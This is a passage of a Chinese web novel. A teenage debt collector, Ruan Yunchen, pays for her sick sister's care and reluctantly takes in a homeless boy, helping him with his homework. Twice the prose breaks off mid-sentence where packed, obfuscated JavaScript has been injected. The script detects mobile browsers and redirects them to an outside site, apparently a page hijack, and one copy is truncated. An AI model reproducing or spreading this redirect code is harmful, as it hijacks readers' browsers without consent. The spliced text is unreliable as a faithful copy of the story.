女人怔怔地看着她,像是无法把眼前这个瘦瘦小小的孩子和门外会敲门的那些收债人联系在一起。 她的眼神从阮云琛脸上滑过去,扫了一眼她单薄的外套,又看向她手里不自然攥紧的东西,仿佛这才后知后觉地意识到了什么。 “你是……来干什么的?”她的声音低下去,像是在试探,又像是怀疑自己猜错了。 阮云琛终于开口,声音平静得没有起伏:“时间到了,我来收钱。” 屋内安静了一瞬。 女人的脸瞬间白了。 她的嘴唇颤了颤,眼底的慌乱和震惊在一瞬间浮上来,她的手攥紧门框,动作微微颤抖:“你……你是来收钱的?” 她的目光下意识地扫了一眼阮云琛的身后,像是在确认她是不是一个人,确认这是不是某个拙劣的玩笑。 可是楼道里空空荡荡,只有那盏忽明忽暗的日光灯发出微弱的嗡嗡声,将这片沉默拉得更长。 阮云琛站在那里,微微抬了抬下巴:“欠条上写着的日子,今天。” 她的声音不高,语调平静,却像是一块石头,毫无预兆地砸在了地面上。 女人怔在原地,好半天没说出话来。她的目光停在阮云琛那张还带着稚气的脸上,眼神复杂,说不上是愤怒还是难以置信——眼前这个孩子怎么可能和收债扯上关系? “孩子……”女人的声音沙哑,眼神里透着惊慌和哀求,“你多大啊?这是……谁让你来的?” 阮云琛没回答,视线只是淡淡地扫过她身后那间光线昏暗的小屋,屋里隐约能听见微弱的咳嗽声。那一声轻微的咳嗽像是一根针,不偏不倚地扎进她的耳朵。 “宋祈。”她说。 她试图让自己的声音平静下来,显得好像真的不会为这眼前的一切动摇似的,“钱呢?” 女人愣住了,嘴唇微微颤抖,眼神里浮现出一丝绝望的慌乱。 她往后退了一步,像是再也撑不住,背靠着门框,整个人缓缓滑坐在地上,双手死死攥着自己的衣角,喃喃道:“没钱……真的没钱啊……” 楼道里的风声顺着门缝灌了进来,带着冰凉的寒意,将她的声音吹得破碎又无力。 阮云琛站在那里,没有说话,手指在口袋里的欠条上慢慢收紧,指尖泛起一丝微凉的麻意。她垂下眼,目光落在女人的身上,神情平静,像是一堵没有表情的墙。 “我数到三,”她开口,声音低哑,“你自己决定要怎么办。” 女人猛地抬起头,眼神里透出绝望的挣扎。屋里咳嗽的声音突然停了,安静得像是一根断裂的线,再没有半点声响。 屋里很暗,只有角落里摆着的灯泡在颤颤巍巍地亮着,几乎要熄灭。屋子不大,家具摆得拥挤,到处是乱七八糟的衣物和生活用品,空气中混杂着霉味和煤烟味。 靠墙的床上,一个孩子裹着被子缩成一团,睁着一双乌黑的大眼睛看着她。他看上去只有四五岁,瘦得像根小柴火棍,头发贴在额头上,脸色苍白得几乎透明。 “能不能宽限几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她的声音突然哽住了。屋里传来一声压抑的轻咳,像是有什么人强忍着不敢出声。 女人立刻抬手朝屋里挥了挥,示意什么都不要说,随后她抬起头,目光重新落在阮云琛身上,泛着一层湿润的光。 “求求你了,”她声音微弱而颤抖,“你还是个孩子啊,你怎么能……” “够了。” 阮云琛开口打断了她,短促得像是刀锋掠过。女人愣住了,嘴唇颤抖了两下,没敢再继续说下去,只是眼泪却控制不住地掉了下来。 楼道里很安静,只剩下风声掠过楼道门缝的“呜呜”声,像是旧时代的某种叹息。阮云琛站在那里,忽然觉得风里有点冷,冷得让她背脊有些僵硬。 她看着女人,什么话都没说,只是缓缓地伸手,把口袋里的欠条拿了出来。纸张有些旧,边缘被她的手指捏得微微卷起,泛着一丝粗糙的白痕。 “还多少?”她淡淡地开口,声音低得像是一道虚影,“今天必须还点。” 女人抬起头,满脸泪水,哆哆嗦嗦地从身上的兜里掏出一把零散的钱。那是一堆皱皱巴巴的纸币,甚至还有几个钢镚,叮当一声砸在地上,滚到阮云琛的脚边。 女人的手抖得厉害,眼里尽是哀求:“这些……这些能行吗?孩子,我真的没有了,明天……明天再给你凑些……” 阮云琛没说话,蹲下身捡起那枚滚落的硬币,指尖触到地面的灰尘,有些冰凉。她站起身,将那些钱收进外套的口袋里,手指捏了捏,感觉到那点微不足道的分量。 “明天是明天的事。”她说,声音平静,却带着一丝无法抗拒的冷硬,“这点先算你交的。” 女人愣愣地看着她,似乎没想到她会收下一半的钱,又似乎是松了一口气,瘫坐在那里,连声道谢:“谢谢……谢谢你啊,孩子……” 阮云琛没有回应,转身朝着楼道口走去。脚步声踏在水泥地面上,每一步都很轻,却又踩得很稳。 她走得很慢,走出那扇门时,风从门缝里灌进来,将她的发梢吹得微微凌乱。 阮云琛低头看了眼手里的钱,那些脏兮兮的纸币在她的手心里攥着,像是一把皱巴巴的纸屑。她想了想,又放开手,让那股寒意透过指缝渗进皮肤里。 街上的冷风从衣领灌了进去,吹得人肩膀发僵。 阮云琛的脑海里不断浮现出女人蹲在门口哀求的样子,浮现出那扇昏暗的屋门里传来的咳嗽声。 有那么一瞬间,她想起了自己小时候,想起自己抱着淼淼缩在屋子角落里的日子——那个时候,她也曾在门外听见陌生人的敲门声,外面有人喊她爸的名字,有人骂街,也有人砸门。她抱着年幼的淼淼,不敢发出一点声音,像极了被逼到角落的小动物。 她的指尖微微发凉,脚步下意识地停了下来。 街上的灯光拉长了她的影子,黑乎乎地贴在地上,显得孤零零的。阮云琛低头看了一眼,忽然觉得有些烦躁,抬脚将影子踩碎,继续朝前走去。 脑海里那张女人的脸又浮了出来,眼神里的绝望,像一根针一样扎在她心上。阮云琛抿了抿嘴,忽然抬起头,深吸了一口气,试图把那种钝痛感压下去。她告诉自己:忘了吧,别去想了。 可越是努力,脑海里的画面就越清晰,那女人抱着孩子,瘦弱的肩膀一抖一抖的样子,似乎在某个时候和她的母亲重叠了。阮云琛皱紧了眉头,手指死死攥着外套口袋里的布料,像是攥住了唯一的锚点。 “我也不过如此。”她在心底冷冷地告诉自己,声音像刀一样锋利,“谁可怜我了?谁救过我?” 十四年。 ——到今天为止,一共十四个年头整。 她哪一天不是在如履薄冰?又有什么闲工夫去同情他人? 脚下的路被昏黄的灯光拉长,街道两侧空荡荡的,像是专门留给她一人的旷野。阮云琛低下头,看到自己被灯光拉扯得扭曲而孤零零的影子。 那影子仿佛跟她一样,沉默、压抑,透着一股子说不出的烦闷。 她猛地停住,抬脚狠狠踩了下去。 “够了。”她在心底说,像是警告自己。 影子被踩碎了,散成一地模糊的黑斑。阮云琛沉默片刻,重新迈开脚步,继续朝前走去。风从街头灌过来,卷起灰尘和纸屑,扫过她的衣角,凉得像刀片。 她抬头看向远处的黑暗,脸上没有表情,眼神却像深水里的石子,看不出一丝波澜。 “规矩是他们自己答应的。”她在心底对自己说了一遍,可那句话却像是被风吹散了,怎么也无法落地。 她停下来,仰头看着昏暗的天空,冬夜的云层压得很低,灯光映照着,泛着灰蒙蒙的颜色。 她把手从口袋里抽出来,抬到面前,掌心的温度已经散尽,冰凉得像一块石头。 ——她早就习惯了这些,可是为什么,今天却觉得冷得有点过分。 她闭上眼,深吸一口气,继续往前走。街道深处还有另一户欠债的门牌号,宋祈的账簿上,那一笔一划,压在她的肩膀上,重得让她喘不过气。 可她不能停。 她也没有地方停。 她得......得回家。 对,阮云琛得回家。 楼下的面摊在往外面搬东西了,摊子的锅和炉子也架了起来。万秀一个人在那里忙前忙后,程一冉自己则被按在了小桌板上埋头读书——没记错的话,她好像刚进了市立高中,在重点班读书。 见到阮云琛回来,程一冉猛地抬起了头,却又快速地瞥了眼她妈妈,默默地低下了头去。 楼道的灯坏了。 黑暗像是从天花板和墙壁的缝隙中一点点渗出来,将整片走廊笼罩得深沉又安静。阮云琛抬头扫了一眼,灯管歪着头挂在那里,闪烁两下之后彻底熄灭,黑暗里只剩下微弱的风声。 她没在意,继续朝自己家门口走去。脚步声落在水泥地上,响得空荡而遥远。 拐过走廊的尽头,她看到了那个身影。 男孩依旧坐在墙角的那块空地上,靠着墙,腿蜷起来,习题册摊在膝盖上。他的头微微低着,指尖在纸页上轻轻地滑着,仿佛在认真地看,可周围光线太暗了,根本什么也看不清。 阮云琛站定,目光扫过他,没急着说话。 男孩察觉到了动静,抬起头,光影从窗外落下来,勉强照亮他那张削瘦而拘谨的脸。他看了她一眼,指尖在书页上停了停,动作有些僵硬。 阮云琛松了口气。 “还没吃?”她问。 33. 习题册 男孩愣了一下,像是没料到她会直接开口。他轻轻摇了摇头,又垂下眼,声音很小:“……嗯。” 阮云琛从口袋里掏出钥匙,发出一串金属的碰撞声。她抬手推开门,站在门口,没看他:“进来。” 男孩抱着习题册的手微微收紧,像是在犹豫什么。他抬头看了她一眼,目光里带着些不安,又透出一丝克制的顺从,像是怕自己做错什么。 阮云琛扭头看他,眉头轻皱:“愣着干嘛?进来啊。” 她的语气淡淡的,听不出什么情绪,像是随口说的一句,却又不容置疑。 男孩的手指攥了攥习题册,最后还是慢慢站了起来,动作有些僵硬,像是坐得太久麻了腿。他走到门口,停顿了一下,又小声补了一句:“我……我可以等在外面。” 阮云琛回头看他,眼神落在那本被他攥皱了的习题册上,又扫过他那件早已洗得发白的旧外套。 她没说话,目光淡淡地扫了他一眼,随即直接伸手扯了一把,把他手里的习题册连带人一起拽进了门内。 “别磨叽,进来。” 男孩被她这突如其来的动作弄得有些发愣,抬脚跟着进了屋,习题册还捏在手里,指尖微微泛白,像是还没反应过来刚刚发生了什么。 门在他身后合上,隔绝了外面的风声,屋里的空气安静下来。 阮云琛把钥匙随手丢在桌上,发出“咔哒”一声。她转头看了一眼还杵在门口的男孩,语气不耐地说:“杵那儿干嘛?坐下。” 男孩看了她一眼,抿了抿嘴,轻轻地“嗯”了一声,小心翼翼地走过去,抱着习题册坐到桌边。 屋子里很安静,只有窗外风吹过的声音,像一阵阵细碎的呜咽,偶尔还带着楼道里某户人家的电视声,断断续续地飘进来。 阮云琛从厨房翻出两个碗,把之前剩下的面条随便热了热,一碗放到男孩面前,另一碗端到自己手里。她没多说什么,只是低头吃了两口,目光不经意地扫了他一眼。 男孩捧着面碗,手指有些发僵,低着头小口小口地吃着,像是怕自己动静太大,又像是怕打扰到她。 饭后的屋子静得像被什么隔绝了,只有台灯投下的一片光晕里还留着一点活气。 光线不大,但足够亮,亮得让桌上的旧习题册显得有些刺眼。 男孩坐在台灯下,背脊微微弓着,瘦小的肩膀将灯光一分为二,影子投在墙上,又窄又淡,仿佛下一秒就会融入黑暗里。 他低着头,指尖轻轻压着那本旧习题册,翻动时发出细微的沙沙声,安静得让人有点烦躁。 阮云琛坐在桌子的另一头,手肘支在桌面上,指尖抵着眉骨,眼神有些游离地落在台灯的光圈外。她看着男孩小小的身影,那个肩膀在光晕里显得不够稳当,像是随时会被吹散似的。 这种安静有点过分了。 “有什么看不懂的?”她忽然出声,语气里透着一股漫不经心,仿佛只是无意间丢出的一句话。 她的声音在空气里荡了一下,被夜晚的潮湿悄悄吞掉,落在台灯下,只剩下几分若有若无的重量。 男孩的手停了下来。 他的指尖悬在纸页上,像是被什么捏住了似的,僵了一瞬。 他抬起头,小小的脸藏在影子里,有点局促,像是犯了错,又不知该不该开口。片刻后,他才把那本习题册往前推了推,动作谨慎而小心,像是递出一件易碎品。 “好多……都不懂。”他的声音很轻,带着点犹豫,像是怕自己的问题会惹怒什么。 阮云琛没说话,接过了习题册。 那是本二年级的集合作业题,语文、数学、自然课等等都在一个本子里。这本习题册的纸张已经被翻过太多次,边角软趴趴的,像是快要散架了一样。 阮云琛随手翻开一页,映入眼帘的便是铺天盖地的“鬼画符”。 书页上挤满了密密麻麻的笔记,有的字歪歪扭扭,像是下笔时根本没走心;有的题目旁边被五颜六色的笔涂涂改改,连涂掉的痕迹都被划得乱七八糟。 最可笑的是,还有几个空白的地方画着线条稚拙的小人:一个短发高个儿,旁边跟着一个小小的长发人儿,身子圆滚滚的,脸上的笑容用两道弯弯的线条随意勾了出来。 阮云琛盯着那些涂鸦,指尖顿了顿。 她认得这些丑丑的小人——淼淼的手笔。 那孩子只要学不下去,烦躁得慌时,就喜欢拿笔胡乱画一通,仿佛只要画几笔,烦恼就能跟着一起抹掉一样。 “这书还真够乱的。”阮云琛唇角动了动,似乎要笑又没笑出来,“她不想读书的时候,就画这些。” 男孩抬头看了她一眼,又很快收回了目光,低声“嗯”了一声。 他埋着头,一只手攥着笔,另一只手扣着桌沿,动作小心而僵硬。他的影子被台灯拉长,静静地映在墙上,看起来像是比他本人还要疲惫。 阮云琛心里有些发空,目光无意识地停在男孩额前的碎发上。灯光落在上面,勾勒出一片柔软的轮廓,和他身上的那股小心翼翼一点都不相衬。 “这步听懂了吗?”她忽然问,嗓音不重,却把男孩吓了一跳。 男孩手一抖,笔尖划出一条浅浅的痕迹。他愣了愣,连忙点了点头:“懂了。” 阮云琛“嗯”了一声,靠回椅背,没再多说话。目光落在窗外模糊的夜色里,思绪有些飘忽。 她靠在椅背上,目光落在窗外的夜色里,神思飘得很远。 阮云琛自己也有些弄不明白,这一切是怎么开始的——又或者说,到现在也谈不上什么“熟悉”。 眼前这个总在桥下待着的男孩,像是一场突如其来的意外,被塞进了她本就混乱不堪的生活里。 她不知道自己哪根神经抽了风,那天晚上就让他一起吃了晚饭,后来竟又破天荒地几次三番地邀请他来家门口等她。 仔细想想,大概是那段时间,她实在太累了。累得心头所有的防线都松了口,累得不小心多看了一眼那个孩子,便再也移不开眼。 肩膀上那个伤口还没愈合时,他默不作声地送来了酒精和纱布,袋子里那廉价的药品,用塑料袋一层一层地裹着,仿佛装着什么易碎的东西。 他站在桥下,手指攥着袋子的提手,看到她时甚至还往后缩了一下,像是在掩饰什么,生怕自己的善意被她嫌弃。 她没有多问。 后来她去了拳场。 她以为他们只是两条永不会再次相交的平行线,可那个孩子竟跟了过去。 她拖着疲惫不堪的身体从拳场出来时,是他在出口喊的那一声“警察”,将她从那堆乌烟瘴气的人群里脱了身。 而她本以为,这样的事到此为止了。 可后来——后来当她以为他偷偷离开了这片地方时,她看见他又坐在那里,安静地抱着那一小袋伤药,低着头,一声不吭地等她。 阮云琛记得她走过去时,他抬起头,目光局促而小心,却又掩饰不住什么。 她看见他指尖已经被塑料袋勒出了浅浅的红印,袋子里的纱布和廉价消毒水轻得要命,却又像是他竭尽全力拼命托住的全部东西。 “给我买的?”她那时这么问。 男孩没有回答,只是把那袋东西往前推了推,力气很轻,像是怕她不收,又怕她收了。 阮云琛本该拒绝的,可那一刻,她看着男孩眼里的那点局促的担忧,忽然什么话都说不出来了。 她不知道那药是从哪儿来的,但她隐约猜得到——他拼命打了多少个小时的零工,或者付出了什么代价,才换回这么一小兜廉价的药品。 她本该懂得,自己不能、也不该接受任何人伸出的手。 可人终究是有弱点的,有些东西,就像风里飘来的一点灰尘,明明可以视而不见,却还是落进了眼睛里。 每次看到他蜷在角落里,她都能在心底生出一点没来由的不安——是同情吗?还是歉意?她说不清楚。 “别可怜谁。”她曾对自己说过无数遍。 她知道,那点同情心对谁都没用,对自己更是个天大的笑话。可是每当她闭上眼时,总会想起那一幕——男孩抱着药,指尖捏得泛白的样子。 他明明什么都没说,可他的沉默里藏着太多的东西,像是某种说不出口的请求,也像是某种无声的陪伴。 她无法彻底装作什么都没有发生。 感情这种东西,就是这样莫名其妙。生根发芽时连个前兆都没有,等她回过神时,那根已经牢牢扎进了泥土里。 阮云琛坐在桌前,长长地呼出一口气,把这些乱七八糟的念头压下去。 她的目光落在了台灯下的男孩身上。 男孩的笔尖划过纸面,细微的沙沙声在屋里回荡,那声音仿佛有种让人安心的力量。 桌上摊开的习题册上,几页写得歪歪扭扭的笔迹上,还能看见淼淼当初画的小人。 阮云琛发了会儿呆。 墙角那摞淼淼的病例文件又浮现在脑海里,雪白的纸上密密麻麻的诊断报告,沉甸甸地砸在人心上,压得她喘不过气。 遗传性肺动脉高压——那是医生在诊室里反复说过无数次的字眼。 两年前,淼淼第一次发病,被送进急诊室的时候,脸色白得吓人,指尖发紫,医生说她的肺动脉已经快要爆炸了,再晚一步,恐怕都来不及抢救。 为了转院,她把打黑拳攒下的所有钱砸进了那张冰冷的床单里。 五十万,药物、手术费、住院的花销,她记不清最后的账单有多少个零,只记得医生说的那句话:“后续的治疗很重要,只要控制得好,病人可以活到成年,甚至活得很久。” “活到成年。” ——医生说得轻巧,可对她来说,那几乎成了压在心口的一座山。 这病没法根治,只能吃药维持。 那些药一瓶瓶地开,进口的、国产的,有些甚至得托人从国外带,贵得像是贴了金。她白天讨债,晚上睡拳场的地板,一天下来,头都没抬过一回。 可即便这样,她仍不敢停,因为她知道,她的妹妹还躺在那间白得过分的病房里。 五十万只是开始。 手术疗程一个接着一个,接下来的每一步都是个无底洞。 医生提到过,像这种病,后遗症和并发症几乎是不可避免的,随时都可能出现呼吸衰竭,随时都需要再次观察,再次抢救。 阮云琛走在每一条被风吹过的街道上,都会有种错觉:她每多走一步,淼淼的病就更靠近一点“失控”的边缘。 可她不能停。 她只有往前走,把每一份该收的钱讨回来,把每一笔账都砸在宋祈那张冷笑的脸上,然后把钱交给医院,换来淼淼那间病房里的一点希望。 “再撑撑。”她曾对昏睡的淼淼说。 那孩子总是笑嘻嘻的,哪怕再疼,也不太哭闹。 她学会了画画,画的全是阮云琛——一个大大的丑小人,高高的短发,旁边总跟着个矮小的圆滚滚的长发小人,说那是她自己。 “要是有人能代替我陪着姐姐就好了。”淼淼这样说着。 她在那画旁边画了条黄色的小狗,小狗的体格比阮云琛的小人儿还要大。小女孩说:“小狗狗是人类最忠诚的伙伴,姐姐也应该有一条小狗。” 阮云琛笑了。 但她知道,自己笑起来比哭还难看。 医生说,淼淼的情况稳定了,可以下个月先出院回家观察。 阮云琛听到这话时,神经绷得太久,反而没什么反应,只是站在那里,点了点头。 “以后要定期复查,还要按时吃药。她的病情不能大意,懂吗?” 懂,她当然懂。 可这种“懂”,又能管多久呢?她看着男孩那双专注的眼睛,突然有点走神。那本习题册还放在桌上,像是一种无声的提醒——提醒她,即使生活再怎么摇摇欲坠,她也必须要撑下去。 因为她不能倒下,也不能让任何人倒下。 “走廊灯太暗了。”阮云琛忽然出声,强行打断了自己的思绪。 “下次要用的话,直接来家里看。”她说。 男孩的手顿了一下,像是没听懂,又像是听懂了却不敢相信。 他抬起头,目光茫然地看着她,眼神在灯光下晃了晃,带着几分微妙的迟疑和不安,仿佛这一切来得太突然,他还来不及反应。 “啊?”他的嗓音轻得像是羽毛飘过,带着一丝不确定的试探。 阮云琛的眉头微不可察地皱了一下,仿佛对他的反应感到烦躁,又像是在掩饰什么不愿显露的情绪。她不耐烦地补充道:“不想来就算了。” 她的声音平静,却是除了疲惫再无其他,仿佛下一秒就要消失在这间简陋而空荡的屋子里。 男孩的肩膀猛地绷紧了一下,像是被本能驱使着。他的嘴唇动了动,低低地、急切地脱口而出:“想来。” 那三个字仿佛是连他自己都没有预料到的。 他说完后,像是被自己吓了一跳,微微缩了缩脖子,指尖局促地攥紧了笔,动作僵硬地停在纸页上。 他似乎想要掩饰什么,垂下头,目光又落回到那本破旧的习题册上。 空气顿时静了下来,像是一根细细的线,被小心翼翼地拉紧,又恢复了平静。 阮云琛没有立即说话,只是静静地看着他。 男孩额前的碎发垂下来,遮住了他的一部分表情,台灯的光线停在他的发梢上,像是勾勒出了一层淡淡的轮廓。他瘦小的背影坐在那里,瘦削的肩膀微微塌着,安静得像是一只小兽,生怕下一秒就被驱逐。 她指尖微微收紧,指节在桌面上敲了敲,发出轻而缓的声音。屋子里的光圈似乎也随着这声音微微颤了一下。 “那就行了。”她淡淡地说,嗓音平静如常。 说完,她转过头,目光掠过窗外漆黑的夜色,落在远处那座空洞的楼影上。 夜晚静得过分,窗玻璃微微起了雾气,她看着模糊的倒影,神色有些飘忽。 阮云琛从未觉得自己是一个善良的人,她的生活里从来不需要多余的牵扯,也不应该有。 可是,哪怕她再怎么告诉自己——这不过是随口的一句话,是她心血来潮的一时冲动,她依旧无法忽视内心深处那点微妙的松动。 他才十岁。 也就比淼淼大了三岁。 阮云琛抬眼看了看男孩,瘦小的身形笼罩在台灯的光圈下,衣服空荡荡地挂在身上,像是被风一吹就能飘走。 他的脊背微微弯着,肩膀似乎永远都没有舒展开,整个人看起来更像是七八岁的孩子。 比同龄人还要小那么几分。 阮云琛的目光微微动了动,手指无意识地敲了敲桌沿,目光落回那片光影里。 她突然意识到,这孩子就这样在街头活了下来。年纪轻轻,瘦得像根柴火棍,眼睛却带着一股克制的警觉,那不是他这个年纪该有的东西——是活得太久、太累,才习惯了这样的模样。 她忽然觉得心口有些堵。那种感觉说不上是什么,像是一块细小的沙砾,不轻不重,却怎么都无法忽略。 阮云琛有那么一瞬间,脑海里闪过了一个荒唐的念头。 要不要让他……留下? 可念头刚一冒出来,她的理智便将它狠狠掐灭了。 ——开什么玩笑。 阮云琛低下头,盯着桌上的一片光影,指腹轻轻摩挲着桌沿的纹路,心里闪过一句自嘲的念头:真是多管闲事。 她最烦自己这个样子。心软的时候总是太不像话,像是被谁抓住了软肋,连骨子里的狠劲都软了下去。 可怜谁? 可怜又有什么用? 阮云琛知道自己已经走得够远了。她允许男孩在门口等自己,允许他坐在家里的灯光下读书,这已经是她能给出的极限。再多一点,她不知道自己会不会承受得住。 因为她太清楚了—— “善良”这个词,只是另外一种软弱。 而她不能软弱。 她不敢。 软弱的人是没有退路的。 阮云琛闭了闭眼,胸口微微起伏着,像是要把那些压在心头的东西一口气咽下去。她想起自己小时候,那时候她还不懂得“软弱”的代价。 她曾经有过一瞬的天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903149|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真,以为只要对这个世界温和一点,它就会放过她。 那是冬天,风从破碎的窗户灌进来,屋子里冷得能把骨头冻裂。她和淼淼蜷缩在床角,听着门外粗暴的砸门声和男人醉醺醺的叫骂。 她捂着淼淼的嘴,小小的身体绷得像一根随时会断掉的弦。 阮云琛当然软弱过,她曾经试图求过情。 她记得自己打开门的时候,那个人站在外面,满脸的横肉,笑得很冷,手里的烟头被随手按在门框上,留下一道焦黑的痕迹。 “求我?”那人冷笑一声,声音里满是讥讽,“你爸欠的钱,你这小丫头片子还得起?” 那时的阮云琛还很小,小到她不知道该怎么回话,只能僵在那里,任由男人把她推到一边,闯进屋里掀翻了她们唯一的桌子。 她看着那些稀碎的碗碟、洒了一地的冷饭,愣愣地站着,浑身的血液像是都被冻住了。 从那天开始,她明白了一个道理—— 软弱的人,连哭的资格都没有。 她没办法软弱,因为她身后还有淼淼。她不敢倒下,不敢露出半点裂缝,否则那些早就磨刀霍霍的人,随时都会像野狗一样扑过来,把她和她仅剩的东西撕得粉碎。 所以她成了刀。 锋利、冷硬,锋刃收敛时,藏在鞘里无人可见;出鞘时,便毫不留情地切开所有试图逼近她的东西。 软弱? 那是淼淼昏迷时,她坐在病床前偷偷握紧的拳头,是她每一次被打倒在拳场上又咬着牙爬起来时的喘息,是夜深人静时她手里攥着那张欠条,走在冷风里的每一步。 “别给自己留软肋。”宋祈说过这样的话。 她深知自己已经有了软肋。 她有淼淼。 可如果再多出一个……阮云琛皱了皱眉头,视线扫过男孩低垂的头顶,心里一瞬间有些烦躁。 她不该问,也不该多看。 可...... 人心这种东西,是最难揣测的。 阮云琛甚至连自己的心里在想什么都揣测不出。 男孩埋头看着习题册,肩膀微微塌着,细瘦的脖颈在光线里看得分明。他的手攥着笔,笔尖静静地停在习题册上,肩膀微微绷着,像是还有点发愣,生怕刚才的那话是错觉,或者只是她随口的玩笑。 阮云琛的眉头微不可察地皱了皱:“愣什么?不想来就当我没说。” 她的语气还是那样冷淡,甚至带着点不耐烦,仿佛前一句话只是随口一提,根本不值得多加解释。 男孩猛地抬起头,神色慌乱又急切:“想来!” 那一瞬间,他的嗓音脱口而出,带着一丝太过明显的急迫,像是抓住了什么救命的东西,又怕自己下一秒就失去了。 说完,他似乎意识到自己的反应太过明显,立刻收敛起声音,低下头去,指尖局促地攥着习题册,动作有些僵硬。 屋子里重新归于安静,台灯的光圈依旧柔和,却在时间的推移中悄悄地往下塌了一点。 那一小片光亮勉强撑着桌面,落在男孩低垂的眼睑上,将他的影子投在墙上,窄窄的一团,安静得几乎让人察觉不到存在。 阮云琛没有再说话,视线有些飘忽地落在桌面,手指随意地敲了敲木质的边缘,发出轻微的声音,像是无意间划破了沉默。 她靠在椅背上,目光落在台灯的灯泡上,那盏旧灯已经开始泛出一点微弱的热意,光晕外围的暗影也有了些模糊不清的波纹。 时间好像也随着这光圈一点点拉长,拉得安静而疲惫。 男孩坐在那里,起初还局促地捏着笔,指尖僵硬地停在纸面上。 但渐渐地,他似乎也安定下来,背脊微微放松,轻轻翻动习题册,沙沙的声响混在屋子里的静谧里,像是随风飘进来的灰尘,一点点落下。 阮云琛抬眼看他一眼,心里莫名觉得这场景有些奇怪——这间空荡的屋子,这盏摇摇欲坠的台灯,还有那个安静得不像话的男孩。 好像这一切本不该属于她。 ——真是够了。 她在心底叹了口气,却没再多说什么,只是靠回椅背,手指敲在桌面上,声音缓慢地消散开去。 屋子里光线静谧,台灯的光晕打在桌面上,将一切细节都勾勒得清晰而柔软。 阮云琛靠在椅背上,目光不经意间落在男孩身上。那脏兮兮的小脸,眼睑下方的阴影,以及那双安静到近乎克制的眼睛。她很少认真地去看他,每次都是匆匆扫过,带着一点刻意的疏离。 这会儿,她却看得出神了。 她突然意识到,自己好像真的很久没有问过男孩的任何事了。他的名字、他从哪来、甚至他平时在做些什么——这些话她都没有开口问过。 不是不想问,而是……没敢问。 阮云琛一向觉得自己是个冷心冷肺的人,从小就懂得怎么把自己封闭起来,不被外界的情绪和善意所侵蚀。 那些软弱的、脆弱的、需要被接纳和拯救的感情,她早就放弃了——放弃别人,也放弃自己。 有时候她也会想,人活着,总该有个底线的。可她的底线太薄了,一旦破开,里面全是软得一塌糊涂的肉,谁戳一戳都疼。 所以她不问,也不探究。 但这个男孩,就这么安静地坐在这里,拿着习题册,埋头写写算算,好像什么都不需要,好像只要一盏灯、一张桌子,他就能坐上一整夜。 阮云琛一时说不上来是什么感觉,心口的硬壳好像被什么轻轻碰了一下,响起了一声极轻的碎裂声。 她收回目光,淡淡地问:“你叫什么?” 声音是突然的,像是一枚小石子落进平静的湖面,漾开细细的涟漪。 男孩的手一僵,抬起头,脸上写满了错愕。他似乎没想到她会问这个问题,目光闪烁着,有些慌乱。 他的嘴唇动了动,没说出什么话来。 阮云琛微微皱了皱眉,眉间的线条淡淡的,语气却依旧平稳:“没有名字?” 这句话透着一种轻描淡写的催促,不容躲闪。 男孩低下了头,肩膀微微缩着,手里的塑料袋被攥得更紧了,皱巴巴的袋角像是快要被捏烂。 他嗓音低低地说:“有……他们叫我‘二狗’。” ——“他们”。 谁们? 抛弃他的人?责骂他的人?雇他干活的人? 阮云琛想问,可话到口边,她又止住了。 男孩说完,像是把心底的什么东西掏了出来,又立刻把自己重新蜷缩了起来,像是一只无处可藏的小兽。 屋子里安静下来,空气像是凝固了一瞬,台灯下的光线变得更加沉默。男孩低着头,微微塌着肩膀,像是怕她会说什么,又像是在等什么审判。 阮云琛看着他,目光落在他脏兮兮的脸上,久久没有移开。这个名字让她心里那块硬邦邦的壳又被轻轻碰了一下,像是裂缝里透进了一点寒风,吹得她的心窝微微发凉。 ——别问。 别问。 阮云琛这样告诫自己。 每个人的过去都有一堆见不得人的烂泥,挖开只会弄脏自己——男孩的名字,男孩的出处,还有他是怎么流落到这里的,这些她都不该问。 她本可以像过去那样,把自己的冷漠当成一堵墙,挡住所有的好奇和善意。 但有时候,人就是这么奇怪。 就像现在,她明明什么都没做,却觉得心里堵得慌。 他的动作有些僵硬,鞋底摩擦着地面,发出一丝微弱的声响,像是风吹过陈旧的铁门,不动声色,却落在人耳里,格外清晰。 “那个……”他开了口,嗓音带着点低低的沙哑,像是夜里飘过的风,谨慎而试探,“我得走了,码头……码头的活,去晚了,就会被别人接了。” 说话时,他的手指无意识地攥了攥塑料袋的提手,那副神态很安静,却透出几分小心翼翼的局促。 阮云琛抬起眼,目光落在他身上。 男孩的身形在灯光下拉得细长,单薄的肩膀微微绷着,仿佛下一刻,就会背着什么重担消失在夜色里。 “你……” 34. 欠债还钱 阮云琛张了张嘴,声音却卡在喉咙里。 她不知道自己想问什么。 问他为什么非要去做那样的活?还是问他能不能不走,留在这里多待一会儿? 那些问题在她脑海里兜兜转转,最终什么也没说出口。 沉默拉得很长,像是空气凝固了。 最后,阮云琛收回目光,轻轻“嗯”了一声,靠回了椅背,没有再多说什么。 她不想。 也不敢想。 在她彻底脱离宋祈之前...... 对,在她彻底脱离宋祈的掌控之前—— 如果那种事情真的可能发生的话。 棚户区的夜晚总是格外漫长,巷子深处黑得像是吞噬了一切光亮。 细碎的风穿过铁皮和砖缝,发出刺耳的呼啸声,电线偶尔颤动一下,仿佛有什么东西从风里坠落下来,又消失得无影无踪。 阮云琛站在那条巷子里,脚下是湿漉漉的泥地。 她垂着眼,外套的帽子半遮着她的脸,只有冷风偶尔把额前的碎发吹得散乱。 